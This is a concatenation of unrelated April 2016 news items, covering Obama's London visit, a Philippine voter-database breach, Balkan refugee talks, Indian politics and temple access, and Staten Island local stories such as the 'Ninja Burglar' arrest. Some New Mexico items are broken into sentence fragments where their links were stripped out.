Nor did Obama comment on a suggestion by Mayor Boris Johnson of London, a leader of the campaign to leave the bloc, that the president was unfriendly to Britain because of his ancestry. Johnson, a Conservative, suggested on Friday that Obama removed a bust of Winston Churchill from the Oval Office because it was a symbol of the part-Kenyan presidents ancestral dislike of the British Empire, of which Churchill had been such a fervent defender.

Obama said he saw another bust of Churchill every day in the White House residence.

I love the guy, he said. But as the first African American president, he said, he thought it appropriate to have a bust of the Rev. Martin Luther King Jr. in the Oval Office.

Cameron, for his part, smiled thinly and said that questions for Boris are questions for Boris and not questions for me.

Earlier Friday, Obama and his wife, Michelle, traveled by helicopter to Windsor Castle for lunch with Queen Elizabeth II, who turned 90 on Thursday, and her husband, Prince Philip, 94.

The Obamas also had a private dinner Friday night with Prince William and his wife, Catherine, the Duke and Duchess of Cambridge, and Prince Harry at Kensington Palace in London.
MANILA  The hacking of a Philippine election database may have exposed the personal information of all 55 million registered voters, but will not undermine May 9 national elections, officials said Friday, in the latest hacking scandal to hit the Southeast Asian nation.

They said government agents arrested a 23-year-old suspect, a recent graduate in information technology, late Wednesday at his home in Manila. Officials are searching for his alleged accomplices.

Commission on Elections spokesman James Jimenez said the computerized elections will be run on a different server, not the one that was hacked, and that experts say the polls are unlikely to be compromised.

The exposed data is feared to include voters names, birthdays, home addresses, email, parents full names and in some cases passport details and text markers of fingerprints.

A hacker group defaced the website of the election commission last month, and a second hacker group posted the entire database online, with mirror links where the data could also be downloaded, according to the Tokyo-based Internet security company Trend Micro.

The commission said it has shut down its website.

Presidential spokesman Herminio Coloma condemned the cyberattack and said government agencies are working with the commission to strengthen its security. The government vowed to prosecute the perpetrators.

Trend Micro said that with the breach, every registered voter in the Philippines is now susceptible to fraud and other risks.

With 55 million registered voters in the Philippines, this leak may turn out as one of the biggest government-related data breaches in history, it said.

There are 54.3 million registered voters in the country and 1.3 million living overseas.
ATHENS  Foreign ministers of Greece, Macedonia, Albania and Bulgaria said Friday they will work to improve coordination along southern Europes refugee trail.

Still today, activists, (nongovernmental organizations) and human smugglers are cooperating across borders in an easier manner than state institutions do, Macedonian Foreign Minister Nikola Poposki said after the two-day talks in Thessaloniki.

I think that one of the messages we are sending from this meeting is that we are going to coordinate our efforts, we are going to try to avoid having solutions that are going to be at the expense of only one country, Poposki added. We have to send a message that (the) road to the Balkans, for the migrants, is not going to see the same evolution as it has seen at 2015.

More than a million refugees, who arrived on the Greek islands in smugglers boats from Turkey, passed through Greece to Macedonia and other countries on the western Balkan corridor since the beginning of 2015, on their way to Europes prosperous heartland.

But the route closed this year, as a crackdown by Austrian authorities had a domino effect all the way to Macedonias border with Greece, leaving more than 50,000 people stranded on the Greek side  including about 10,000 at the closed border crossing of Idomeni.

The border closure, and repeated efforts by refugees on the Greek side to force their way into Macedonia, prompted tension between the two governments: Macedonia accused Greece of doing nothing to stop the attempts, and Greece complained of heavy-handed Macedonian police tactics.

The two neighbors have been at odds for decades over Macedonias official name, which Athens says should be altered to imply no claims on the neighboring Greek province of Macedonia.
Sanchez Denies Wrongdoing

Lt. Gov. John Sanchez, who has been trying to separate himself from Gov. Susana Martinez ahead of the 2018 gubernatorial race, is

after KOBs Ryan Luby discovered Sanchez used campaign donations to pay himself $43,000 in rent on a building he owns.

Follow the Money

Data journalist Sandra Fish has the

, and it appears Gov. Susana Martinez top adviser continues to lead the pack of beneficiaries, collecting close to $375,000 between October and early April.

DWI Hotline Nets Few Arrests

Statistics from the states Drunk Buster Hotline are

and one former DWI unit manager says response times take too long.

Child Care Help Available

It appears hundreds of eligible

offered by the state to low income residents. Now, the governor wants to encourage them to apply for help.

Medicaid Benefits Overdue

Joey Peters reports, An advocacy group says data in a legislative report confirms suspicions that a majority of pending Medicaid applications in the last two years

.

Taxpayers on the Hook

An open records case related to

will cost the Secretary of State's office $90,000, according to Matthew Reichbach.

Feds Sued

Environmental groups are suing the federal government over its decision to extend operations at the coal-fired Four Corners Power Plant and the Navajo Mine in northwestern New Mexico. The groups' 58-page complaint claims the feds

to the environment, public health and endangered species.

Venting, Flaring and Leaking

Meanwhile Staci Matlock and Rebecca Moss report, New Mexico Land Commissioner

a federal government attempt to stem revenue losses and greenhouse gas emissions from venting, flaring and leaking of natural gas from wells on federal and tribal lands.

Optimistic Outlook

Its Earth Day, and the good news is that despite all our problems, were probably not doomed, at least not according to some analysts, including John Sutter. He says there are

to be optimistic.

Photo Essay Depicts New Mexico Culture

The New York Times blog Lens, about photography, video and visual journalism, has posted a photo essay from photographer Kevin Bubriski about his



Finally,blog Lens, about photography, video and visual journalism, has posted a photo essay from photographer Kevin Bubriski about his first trip to Santa Fe . Check out his cool black-and-white photos depicting the states people and culture here and go take some yourself this weekend.

Santa Fe Reporter
3 Studios Gallery: Grand Opening Six artists show their work in a new studio/gallery space. More Info >>

Six artists show their work in a new studio/gallery space.

Heathers the Musical Heathers the Musical was one of the most popular musicals Off Broadway last year. This is absolutely not for kids, but the rest of us will probably love it (See SFR Picks). More Info >>

Heathers the Musical was one of the most popular musicals Off Broadway last year. This is absolutely not for kids, but the rest of us will probably love it (See SFR Picks).

Mykki Blanco Blanco returns to rap your brains out after two years. More Info >>

Blanco returns to rap your brains out after two years.

Santa Fe Pro Musica: The Emperor Mozarts Symphony No. 40 in G Minor, and Conrad Tao plays Beethovens Piano Concerto No. 5 in E-Flat Major. More Info >>

Mozarts Symphony No. 40 in G Minor, and Conrad Tao plays Beethovens Piano Concerto No. 5 in E-Flat Major.

Refuge: A Benefit for Syrian Refugees Grisha Krivchenia and Tara Khozein support victims of the Syrian refugee crisis with special guests (See SFR Picks). More Info >>

Grisha Krivchenia and Tara Khozein support victims of the Syrian refugee crisis with special guests (See SFR Picks).

Cerrillos Station Grand Opening Music from Jim Almand and the Attitudes, African dancing, an art exhibit and more. Trek on out to the sleepy little village and see how its woken up. More Info >>

Music from Jim Almand and the Attitudes, African dancing, an art exhibit and more. Trek on out to the sleepy little village and see how its woken up.

Seussical the Musical and Schoolhouse Rock Seussical is presented with Schoolhouse Rock, which features all your favorite songs such as Conjunction Junction, Im Just a Bill and Interplanet Janet. More Info >>

Seussical is presented with Schoolhouse Rock, which features all your favorite songs such as Conjunction Junction, Im Just a Bill and Interplanet Janet.

Chuscales Flamenco Guitarist This Spanish musician gets all authentic on you. More Info >>

This Spanish musician gets all authentic on you.

Sunday Guitar Show-Off Are you all about guitars? Then you're all about this. Show up, play guitars, look at guitars ... guitar you ready? This is the last day you can strum your ax in the museum without getting hassled by security (See SFR Picks). More Info >>

Are you all about guitars? Then you're all about this. Show up, play guitars, look at guitars ... guitar you ready? This is the last day you can strum your ax in the museum without getting hassled by security (See SFR Picks).

Get more information about how to spend your fun days when you sign up for the SFR Weekend newsletter, delivered to your inbox each Friday afternoon.

Santa Fe Reporter
AAI staff at Pune and Patna ground stations were communicating through the other aircraft asking the pilots to relay the message to the nearby aircraft, says officials. (Photo: PTI)

New Delhi: Multiple radars and a vital VHF-radio link at Kolkata's Netaji Subhash Chandra Bose airport went off on Friday due to a glitch in BSNL network, giving jitters to the air traffic control officers for the second time in a fortnight.

The glitch in the BSNL network was for about 35 minutes, from around 12:40 pm to 1.15 pm, sources said.

During this period, when there was no signal from four ADS-B (Automatic Dependence Surveillance-Broadcast) radars at Agartala and Patna, AAI staff at Pune and Patna ground stations were communicating through the other aircraft asking the pilots to relay the message to the nearby aircraft, they said.

The problem was with the radar that keeps an eye on the planes beyond 200-nautical miles of Kolkata, they said.

ADS-B is surveillance technology in which an aircraft determines its position via satellite navigation and periodically broadcasts it, enabling it to be tracked.

Earlier this month, Kolkata airport had faced the problem of communication link failure, forcing the Kolkata Air Traffic Control to approach the Nagpur and Varanasi ATCs to track the movement of aircraft.
Mumbai: Photo of a beheaded man - thats what spiritual guru Sri Sri Ravi Shankar received from ISIS when he tried reaching out to the terrorist outfit with a suggestion for peace talks.

Taking a firm stand on the subject, Sri Sri also said that the only way to deal with ISIS would be through military as ISIS does not want any peace talks.

Read: IS claims it will take over Kashmir from 'cow-worshipping Hindus'

I tried to initiate peace talks with the ISIS (Islamic State of Iraq and Syria) recently but they sent me a photograph of a beheaded body of a man. Thus, my effort for a peace dialogue with the ISIS ended, Sri Sri Ravi Shankar said, according to media reports.

Read: ISIS threatens to wipe out Hindus, plans guerrilla warfare against India

Claiming that his aim was to unite various cultures, religions and communities, the 56-year-old spiritual leader also called for more peace in the northeast, urging Manipur chief minister to bring insurgents to the negotiating table.
Desai, along with three of her colleagues took darshan of the 'shivlinga' in the 'garbha gruha' around 6 am and left after nearly 15 minutes. (Photo: Twitter/ANI)

Nashik: Gender rights activist Trupti Desai on Friday visited the Trimbakeshwar temple and offered prayers inside the sanctum sanctorum of the popular Lord Shiva shrine here which houses one of the 12 'jyotirlingas'.

Desai, along with three of her colleagues took darshan of the 'shivlinga' in the 'garbha gruha' around 6 am and left after nearly 15 minutes, said H P Kolhe, in charge of Trimbakeshwar police station.

The Bhumata Ranragini Brigade chief along with her aides followed the dress code, wet cotton or silk sarees, as decided by Trimbakeshwar Devasthan Trust and stood in the queue with other devotees before entering the core worship area, he said.

Later, they left the temple town in a vehicle. Interacting with newspersons outside the temple after the 'darshan', Desai said their struggle for gaining entry into Shani Shingnapur in Ahmednagar and now at Trimbakeshwar temple has succeeded.

WATCH: Activist Trupti Desai offered prayers at inner sanctum of Trimbakeshwar temple in Maharashtra todayhttps://t.co/OZ1YMzCfo1  ANI (@ANI_news) April 22, 2016

Desai vowed to take forward the struggle for entry of women into worship places across the country. On Thursday, four activists, led by Vanita Gutte of Pune-based Swarajya Mahila Sanghatana, offered prayers inside the sacred sanctum amid police protection.

Recently, the Trimbakeshwar Devasthan Trust decided to allow women into the temple's 'garbha griha' for an hour everyday with a rider that they must wear wet cotton or silk clothes while offering prayers in the core area.

The development is significant as it came days after women were permitted entry to the Shani Shingnapur temple in Ahmednagar district of Maharashtra.

The issue of gender bias hogged national limelight in January when hundreds of women activists attempted to storm into the Shani Shingnapur temple. After months of protests, and the Bombay High Court observing that entering a temple was a fundamental right of every person, the Shingnapur temple trust finally decided to allow women's entry on to the sacred platform (chauthara) on which rock idol of Lord Shani is placed on April 8. The decision opened doors for women to contest similar bans at other temples.
Patna: The opposition on Thursday mounted a scathing attack on Union Minister Giriraj Singh for his controversial remarks on population control. The JD(U) and RJD demanding BJPs official position on the issue said that Mr. Singh was trying to create a divide between two communities by raking up communal issues.

The JD(U) and RJD while referring to Mr. Singhs earlier statement in which he had suggested strict population laws in the country to save girls said such people should not be allowed to speak in public.

Reacting sharply on the issue Bihar Chief Minister Nitish Kumar said, Giriraj Singh keeps giving such controversial statement to remain in limelight and also to save his ministerial berth. He also referred to his earlier remarks and said he has to support the ideology of his party.

Mr. Singh addressing an event in Bagha had said that, If strict population rules were not enforced then our girls will be forced to live under veil as they have been living in Pakistan and will not be allowed to go out not even to schools.

He had also said, There should be equal population laws for both Hindus and Muslims. There are seven districts in Bihar where our population has dropped and we have to take this seriously.
WASHINGTON: The U.S. is watching with "great interest" the outcome of an ongoing court case with regard to the LGBT community and their rights, a senior Obama administration official has said.



"We of course are watching the outcome of the court case with great interest. We remain in contact with civil society groups and the government to share our views of our global policy on LGBT rights," Special US Envoy for the Human Rights of LGBT Persons Randy Berry told reporters here yesterday.



About a year ago, Secretary of State John Kerry had created this one of its kind position in the US Government.



Taking over the position in April last year, Berry has travelled to 42 countries around the world including Jamaica, Turkey, Uganda, Indonesia, Bosnia, Kosovo, the Holy See and Israel among others.



"I have not had a chance to travel to India yet. But I would characterise from the reports we received from - not just from India, but from the region, is that the global progression that we see is a very, very uniform in some ways, that I believe that there is a more open public dialogue.



"One thing that is interesting is of the countries that I visited over this first year, there is not a single one that I would single out as saying that they are somehow either immune from what I believe is truly a global movement," he said.



"That is not because we are doing anything particularly to make it so. I think it is happening quite organically. Nor do I think there is any place that necessarily it is impossible to have a conversation on these grounds. I think it can be delicate," he said.



Berry said the American diplomatic mission in India certainly does engage with the government and with civil society groups there.



"I think we have to proceed with great care and make sure that oftentimes that we are making sure that we are conducting our diplomacy with our counterparts in government and not necessarily through the press as an opening salvo.



"I think that those conversations are entirely possible. I think they carry the capacity of being fundamentally productive, as long as we engage in a careful and reasoned way; that I really think that there is great value in a constructive conversation that talks about issues of basic humanity, freedom from discrimination and violence. I think that is a very hard proposition to argue with in almost any country," Berry added.



In February, the Supreme Court held an open court and referred to a five-judge bench a curative petition challenging its verdict criminalising homosexuality in India.

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5 Indian Wonderkids Born With Exceptional Brilliance
WASHINGTON: Such a move, corporate leaders and officials of the fast- emerging American private space industry told lawmakers this week would be detrimental to the future health of the private sector US space companies as it would be tough for them to compete against low-cost Indian Space Research Organisation (ISRO) launch vehicles, which they alleged are subsidised by the Indian government.



"I think the concern about using Indian boosters is not so much the transfer of sensitive technology to a nation that is a fellow democracy, but rather whether the Indian launches are subsidised by the government to a degree that other market actors would be priced out of the market," Elliot Holokauahi Pulham, CEO of Space Foundation, said.



Testifying before a Congressional committee, Pulham said there has been some discussion about allowing US built satellites to fly on boosters such as the Indian PSLV.



Eric Stallmer, president Commercial Spaceflight Federation, opposed efforts to facilitate a government- subsidised foreign launch company.



"In this case, India, to compete with US companies. Such policy runs counter to many national priorities and undermines the work and investment that has been made by the government and industry to ensure the health of the US commercial space launch industrial base," Stallmer said.



He said the challenge right now is that the satellite manufacturers are making satellites at a quicker rate right now than the US has the launch capability.

So a satellite is not making money while it's sitting on the ground, he said.



"Currently, the Indian launch vehicle PSLV has a sweet spot and has the capability of launching some of these satellites right now in a timely manner. We don't want to see US launches going overseas by any means, whether it's to India, Russia or whomever else. But right now, from the satellite, you know, producers and manufacturers, they need to get their assets up in the sky as quick as possible," Stallmer said.



Noting that the current policy with the waivers and the review is a sound policy, he said the US should stringently look at every launch that is taking place in every vehicle or every payload that the US are putting up on an Indian vehicle.



"I think it really needs to be evaluated. We hope to phase this out as a new generation of launched vehicles come online," Stallmer said.



"I've heard from a number of companies that build and operate small satellites that there isn't enough capacity in the (US) market at a price they can afford to meet their needs," said Congressman Brian Babin, Chairman of the House Science, Space and Technology Subcommittee on Space.



"India has stepped in and offered to fill, in part, this demand and is launching smaller satellites on their PSLV vehicle. The administration has provided a number of export waivers on a case-by-case basis for these launches, in part, because India is becoming a strategic ally in South Asia," Babin said.



"Unfortunately, the administration seems to lack a clear long-term policy to guide access to PSLV launches. What should US policy be with regard to Indian and other foreign launch vehicles?" the Republican Congressman from Texas said.



He asserted that if it can be shown that there is no viable US launch opportunities in the given time-frame to a required orbit, launches on Indian vehicles should continue to be considered on a case-by-case waiver review for US payloads, as been the practice for the last several years.



"This practice should continue while still relevant, but with the knowledge that this is definitely a temporary solution," Stallmer said.

Read Also: Indian-American Scientist Engineers T-Cells To Treat Pancreatic Cancer

Trump Leads In Polls, Clinton In Close Fight With Sanders:Poll

Source: PTI
STATEN ISLAND, N.Y. -- With a few breweries under its belt and more restaurants including new Hop Shoppe focused on craft beer, Staten Island's brew scene has become a "hoppy" one. And at least Newburgh Brewing Company based in Newburgh, N.Y. has taken notice.

"We believe that Staten Island has tremendous potential as a market for craft beer: In part because it's still developing, and also because Staten Island residents love supporting locally made products," said Newburgh president Paul Halayko.

"The team at Flagship Brewery has done an amazing job of introducing and educating Staten Island on craft beer, and we are excited to be a part of that scene," said Halayko. He calls Newburgh a local brew as the facility is less than 65 miles from the Forgotten Borough.

Newburgh, by the way, is partially owned by Randall Manor resident Kevin Smith. He lives within walking distance to Liberty Tavern of West Brighton which carries several styles of Newburgh including "Brown Ale," currently on tap, and 16-ounce cans of "Cream Ale." Subsequently, Smith's helping to stage a promotional event for the beer at his neighborhood saloon on Thursday, April 28 from 7 to 10 p.m.

Another partner in the brewery, Charlie Benedetti, will be there to talk details of the beer. There are t-shirt give-aways, food and beer samples plus a guest appearance by Al Gattullo of AM 970 The Answer "Al Gattullo's Craft Beercast." On tap for the tasting that day are Newburgh's "Brown Ale," "Mega Boss IPA" and "The Hessian," an American Adjunct Lager.

Newburgh actually came first to Staten Island in October, 2011 at the Richmond County Bank Ballpark's inaugural beer festival. That was the first mass-sampling of its styles, a full two months before the company officially rolled out its entire inventory.

Each May 16th, by the way, is S.I.'s official "Flagship Brewing Company Day" thanks to a proclamation from Borough President James Oddo's office in 2015. The Tompkinsville brewery will celebrate its third anniversary next month.

Staten Island's other brewer is Staten Island Beer Co. owned by the Schulman family of Westerleigh. Their beer can be found at 120 Bay Cafe in St. George where its "Victory Boulevard" Pale Ale first debuted in 2014.

Also on the beer horizon: Kills Boro Brewing Company, perhaps starting up at Craft House in Tompkinsville. These guys are looking for investors to help them open up the operation, a collaboration of Sean Torres, Phil Gardner and Patrick Wade with Craft's owner, Vincent Lima.

Newburgh distributes through Manhattan Beer Distributors, Flagship through Union Beer and Staten Island beer self-distributes.
STATEN ISLAND, N.Y. -- More like hell yes.

Ingrid Michaelson has dropped a few hints about her upcoming single, "Hell No," which she announced Friday will be dropped next week in an armpit photoshopped Instagram -- hey, if anything's gonna be photoshopped these days, might as well be the literal armpit of the human body.

It's been a couple years since the Staten Island songstress released an album, but she has stayed active with performances and appearances since then. In that time, she grieved her mother, the late Staten Island Museum head Elizabeth Egbert.

She released an EP, "Demos for Betty," giving fans a peek into Stapleton native's creative process and the catharsis her latest album, "Lights Out," provided in the months following her mother's death.

Proceeds from the album's sales went toward one of her mother's greatest passions, the Staten Island Museum. Michaelson also appeared at the museum's gala last year, delivering a tearful appeal to anyone with the means to keep the museum thriving.

It'll be exciting to see what her latest music will sound like, and if it will deliver the kind of chart-topping catchiness "Lights Out" had.

We do have one indication that the album will have a soulful edge, thanks to a fellow excited fan, who posted this video of Michaelson giving the single a test drive at a performance in California earlier this month.

And she told Huffington Post that the song will be a powerful breakup song. Michaelson recently split with her former husband, Greg Laswell, after a short marriage. She hasn't spoken publicly about the break, but her comments about "Hell No" suggest it wasn't a clean split.

"We all have been through being wronged," Michaelson told the Huffington Post, "so we created a powerful break up song. This song is not about one specific relationship but about lots of different relationships and how they culled together into one unified force of anger."
NWS MARITIME

The Visitors Center building at Fort Wadsworth is being eyed as a possible site for a maritime-themed intermediate school. (Staten Island USA photo)

STATEN ISLAND, N.Y. -- The Visitors Center building at Fort Wadsworth is being eyed as a possible site for a new maritime-themed intermediate school for Staten Island.

Borough President James Oddo said he's been meeting with city education officials, as well as officials from the National Park Service (NPS), to discuss the idea of opening a maritime-themed intermediate school on the grounds of Fort Wadsworth.

"The meeting was very positive, and NPS was supportive of the concept of repurposing the Visitor's Center building for use as such a school," Oddo reported.

Oddo said he toured Fort Tompkins and the surrounding area. He noted the historical significance of the site, which includes a dock that could be used by students, and easy access to a beach area for snorkeling and other on-the-water activities.

"The synergies of having such a school in close proximity to the bay, to the US Coast Guard facilities, and in the heart of a National Park are simply too striking to ignore," he said.

Oddo has the support of City Schools Chancellor Carmen Farina, who told the Advance she envisions an education component to the redevelopment along the borough's North and East shore waterfront.

"We really haven't made much use of the waterfront overall as a resource for education," she said. "In that respect, Staten Island would seem to be a perfect place to start."

Further, she said, when considering what programs and skills will best prepare city students for careers and employment in the future, the maritime industry comes to mind.

Farina said a waterfront middle school for Staten Island could be a feeder school to the New York Harbor School, a specialized public high school on Governors Island that relates every aspect of its curriculum to the water. Many of the Harbor School's graduates have gone on to earn degrees from SUNY Maritime College in the Bronx, and into careers with the U.S. Coast Guard, and private maritime firms.
New Delhi: Has India retaliated against China for Beijings decision to block New Delhis move at the UN to get terror outfit JeMs chief Masood Azhar, banned by the world body?

Reports of an invitation with grant of an Indian visa to a leading Chinese dissident and Uyghur activist to participate in a conference in Dharamsala could trigger a diplomatic stand-off between India and China. The ministry of external affairs said it was ascertaining the facts of the case but refused to comment further.

According to agency reports, Dolkun Isa, a leader of the World Uyghur Congress who lives in Germany, has been invited to the conference being organised by the US-based Initiatives for China. Uyghurs and Chinese dissidents in exi-le are expected to attend and discuss democratic transformation in China.

Chinas unhappiness about reports that Dolkun has been given an Indian visa was reflected in Chinese foreign ministry spokesperson Hua Chunying being quoted in Beijing as saying: What I want to point out is that Dolkun is a terrorist in red notice of the Interpol and Chinese police (sic). Bringing him to justice is due obligation of relevant countries.

Visa to Dolkun seen as retaliation

When asked about the grant of Indian visa to Dolkun Isa, a leader of the World Uyghur Congress, an MEA spokesperson on Friday said, We have seen the media reports and the external affairs ministry is trying to ascertain the facts.

Indias purported decision to permit WUC leaders  whom China regards as backers of terrorism in its volatile Muslim-dominated Xinjiang province  to visit was being interpreted in some quarters as a retaliatory response to Beijings actions at the UN, but a government source in New Delhi said such an interpretation may not be accurate pending the ascertaining of facts by the MEA.

There was also some confusion whether Dolkun had received a tourist visa that would not entitle him to attend a conference. Meanwhile, Dolkun was quoted by media reports as saying he had already been granted a visa by the Indian government for the conference but that he would take a final call only after assessing his security in India as China had got Interpol to issue a red corner notice against him.

India has already expressed its ire with China over the Chinese action at the UN on the Masood Azhar issue. Defence minister Manohar Parrikar had recently told the Chinese leadership in Beijing that there cannot be differentiation in terrorists.

External affairs minister Sushma Swaraj had also taken up the matter recently with her Chinese counterpart. National security adviser Ajit Doval had also recently visited China and held discussions with top Chinese functionaries on the boundary issue and the situation at the Line of Actual Control.
It was a crime spree that had residents of Staten Island's most affluent communities on edge for years, and the bizarre nature of its apparent conclusion in 2008 only added to its intrigue.

But the "Ninja Burglar" case exploded in a big way this week, with authorities announcing they've apprehended their suspect, Robert H. Costanzo, 46, of New Brighton.

Here is a look at the man who was the "Ninja Burglar."

The face behind the 'Ninja Burglary' pattern

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Don't Edit

Eddie DAnna | danna@siadvance.com

The crime wave

In a confession recorded on video, Costanzo admitted that he was the person known as the "ninja burglar," and that he had committed more than 100 break-ins from 2005 to 2015, according to District Attorney Michael E. McMahon.

His targets on Staten Island included houses in Grymes Hill, Emerson Hill, Todt Hill, Lighthouse Hill, Castleton Corners, Silver Lake, West Brighton and Grasmere, officials said.

However, due to the statute of limitation, authorities were only able to charge him with three: a burglary at 177 Benedict Road on Nov. 8, 2011; at 66 Jenna Lane on Jan. 3, 2013; and at 16 Coldspring Court on April 3, 2015.

Don't Edit

Frank Donnelly | fdonnelly@siadvance.com

His modus operandi

In his confession, he detailed how he targeted homes between the hours of 6:30 p.m. and 7 a.m., striking on random days to avoid developing a pattern, officials said. He wore all black clothing and kept his face covered, and typically broke in through a rear or side window or door, according to officials.

In some cases, he would take a ladder from a separate residence to use to break into another home, often returning the ladder after committing the burglary, officials said.

The homes he targeted were occupied in roughly 50 percent of the burglaries he committed, McMahon said, usually making off with jewelry, cash, watches and occasionally designer hand bags, which he would sometimes pawn or give away to friends, officials said.

Don't Edit

Eddie DAnna | danna@siadvance.com

The nunchucks a myth -- so it seems

The "Ninja Burglar" moniker was born on Sept. 6, 2007, when Dongan Hills resident Phil Chiolo, left, claimed he had a nunchucks-vs.-knife battle with an intruder dressed like a ninja. Chiolo told the Advance that day he stabbed the prowler with a steak knife.

The nickname stuck, and when the next victim walked in on a burglar, she screamed, "The Ninja is here! The Ninja! The Ninja!"

While the district attorney's office said there's currently no evidence linking Costanzo to the Sept. 2007 nunchuck incident, he still maintained his ninja identity.

"There's no question that he had an appearance that resembled what we would consider a ninja," McMahon said.

Don't Edit

Eddie DAnna | danna@siadvance.com

The near capture

Although he managed to elude authorities, Costanzo was almost caught in October 2008 after breaking into a home on Beebe Street in Todt Hill, officials said.

In that case, he apparently told investigators how he narrowly avoided capture by quietly lying in the grass and covering himself in leaves as police searched the woods behind the Michael J. Petrides School.

After that incident, police made a sketch.

Don't Edit

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Costanzo was a pro. In all the break-ins authorities believe he committed, he never left behind any DNA evidence. Ever.

"There was no question that when he plied his craft, if you will, he was very good at it," McMahon said at the press conference announcing his arrest.

Eddie DAnna | danna@siadvance.com

No DNA evidence

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Don't Edit

Frank Donnelly | fdonnelly@siadvance.com

Job firing sparked spree, lawyer says

Just over a decade ago, Costanzo was doing pretty well.

He had been working for two years as an elevator technician earning $33 an hour, his lawyer said.

But the ex-convict's past caught up with him, and he was fired in 2004 when his employer learned Costanzo had previous rape and robbery convictions, attorney John Stawicki said Thursday.

Strapped for cash, Costanzo, now 46, returned to a life a crime to provide for his family, the attorney said.

And so, an urban legend, the so-called "Ninja Burglar," was born.

Don't Edit

Eddie DAnna | danna@siadvance.com

A family in the dark

Costanzo lived a normal life at the time he was committing the spree, according to authorities.

"He had a family, children," said McMahon. "He lived in that home with a woman and a child, and had a chid during the later years of this whole ordeal. He had a normal appearance..."

Don't Edit

Case was never really closed

In April of 2008, police sources told the Advance detectives had quietly closed the book on the string of break-ins after authorities started deportation proceedings against at least one Albanian man they believed to be connected with the spree.

Authorities on Wednesday appeared to back away from that account.

"There might have been speculation...but the case was never closed," Inspector Joseph B. Veneziano, commanding officer of Detective Borough Staten Island, told reporters.

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How it unraveled

Investigators were able to pin the "Ninja Burglar" incidents on Costanzo following an 18-month investigation that brought together law enforcement agencies from across three states, officials said.

It began in October 2014, when members from the NYPD's Staten Island D.A. Detective Squad attended a meeting with law enforcement officials from New Jersey and New York.

A detective from Saratoga Springs, N.Y. informed the Staten Island officers that her department was investigating a residential burglary pattern, and that Costanzo had been the main suspect, officials said.

Authorities launched an investigation, conducting surveillance on Costanzo.

Investigators eventually linked him to numerous past burglaries in parts of Staten Island and the Tri-State area, according to officials.

Don't Edit
Police are asking the public's help identifying a man in connection with a grand larceny at Northfield Bank on Staten Island.

STATEN ISLAND, N.Y. -- Police are asking for the public's help identifying a man for questioning in regard to a grand larceny within the confines of the 120 Precinct.

Pictures of the individual, provided by the NYPD, were obtained from surveillance footage inside Northfield Bank, located at 385 Bay St. in Stapleton, police said.

Around 3:25 p.m., on Mar. 21, an unidentified male entered the bank and deposited a check -- which was previously reported stolen -- for $15,000 into an account that did not belong to him, according to a written statement distributed by the NYPD's Deputy Commissioner of Public Information.

On Mar. 22, at around 10 a.m., police believe the same individual entered another Staten Island Northfield Bank branch, located at 3227 Richmond Ave. in Greenridge, and deposited a stolen check for $2,500 into the same account as the day before. He then withdrew $900 from that same account, according to the NYPD.

For his third go-round, on Mar. 23, at around 10 a.m., the same individual entered the original Northfield Bank, located at 3227 Richmond Ave., and withdrew $9,500 from the same bank account as the day before, police said.

Police describe the individual as a white male, between 35 and 45 years of age, with a beard. He was last seen wearing a black jacket with red trim, according to police.

Anyone with information in regards to this incident is asked to call the NYPD's Crime Stoppers Hotline at 1-800-577-TIPS (8477) or for Spanish, 1-888-57-PISTA (74782). The public can also submit their tips by logging onto the Crime stoppers website at WWW.NYPDCRIMESTOPPERS.COM or by texting their tips to 274637 (CRIMES) then enter TIP577.

All calls are strictly confidential.
NYPDpay.jpg

The NYPD pay scale, from Police Academy to 5-and-a-half years. (NYPD Recruit benefits page screenshot)

STATEN ISLAND, N.Y. -- Is there a right number?

The NYPD has been itching for a new contract under Mayor Bill de Blasio, but have only received a 1-percent raise.

How much should city cops be making?

Cops in the police academy make approximately $45,000. In less than six years, their total salary could near $92,000, according to the NYPD Recruit website.

Just this month, the Police Benevolent Association (PBA) issued a mailer calling on the mayor to end income inequality and give cops a fair day's pay.

"New York City police officers used to be the highest paid in the nation," said Patrick J. Lynch, PBA president, harking back to the 1970s when the force was predominately white.

"Now we're falling farther behind other officers in the New York City area and across the country," Lynch added.

We want to know your specific ideas. What's fair pay for a starting cop? What about a five-year veteran? Are the current pay rates at those levels fair?
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A police flier included this photo of Kenneth Doran in an attempt to identify him.

STATEN ISLAND, N.Y. -- Hospital staff found fireworks in the pockets of a man critically injured in a wooded area in Eltingville, according to police.

The man, identified by sources as Kenneth Doran, 36, of Staten Island, is listed in critical condition in the Intensive Care Unit at Staten Island University Hospital in Ocean Breeze on Friday, a hospital spokeswoman said. Advance records indicate he lives in Annadale.

Police said that the victim suffered severe head trauma.

The victim has injuries consistent with fireworks detonation and a history of suicide attempts and psychiatric issues, according to sources.

However, a spokesman for the NYPD's Deputy Commissioner of Public Information said that the incident was under investigation and no determination had been made about whether the incident was accidental or intentional.

Police had put out a flier asking for help in identifying the man, who was discovered bleeding and unconscious on a trail in a wooded area between Tennyson Drive and Wakefield Road around noon on Thursday.

Hospital personnel found consumer-grade fireworks in the man's pockets and the Bomb Squad responded. Two mortars were recovered from the trail, according to a police spokesman.

A female passerby called 911 when she saw the victim lying on a trail, according to police. EMS responded at 12:09 p.m. on Thursday.

The man was identified via fingerprints, sources said.

A spokesman for the NYPD said it was against policy to release the name of an injured person.
St. Francis.jpg

The sale of the former location of the St. Francis Friary to the Coptic Orthodox Diocese means the property will be used for similar purposes. (Staten Island Advance/Jan Somma-Hammel)

STATEN ISLAND, N.Y. - After about a year and-a-half of sitting vacant, the St. Francis Friary and Center for Spiritualty on Todt Hill has been sold to the Coptic Orthodox Diocese of New York and New England.

The sale was finalized Thursday, and the religious group will use the property as its headquarters, holding youth retreats, conferences, religious courses and more, according to Father Richard-Jacob Forcier with Our Lady of the Angels Province of the Conventual Franciscan Friars.

While the sale was completed this week, the Coptic Orthodox Diocese has used the property a few times to host Christmas and Easter events, as well as a youth retreat, Father Forcier said.

The religious group will locate its administrative staff there and they hope to be fully settled in by Coptic Easter Sunday, which is May 1.

As far as Father Forcier knows, the group will not make any big changes to the buildings or the grounds.

"What really fit for them is the existing setup of the building itself," he said -- the kitchen, dining room, chapel, meeting rooms and parking.

While it has been almost a year since the Friars announced they were selling to another religious organization, there had been fear among residents and civic leaders that the property could be developed with dense housing.

Opponents of such development drew comparisons with the Mt. Manresa property in Fort Wadsworth. The former Jesuit retreat was sold to a developer, who is building 250 townhouse units there.

Dr. Mohammad Khalid, president of the Iron Hills Civic Association, is delighted with the sale.

"We are very happy that they are here and it's similar to those things that were previously there, center for spirituality, and all other activities," he said.

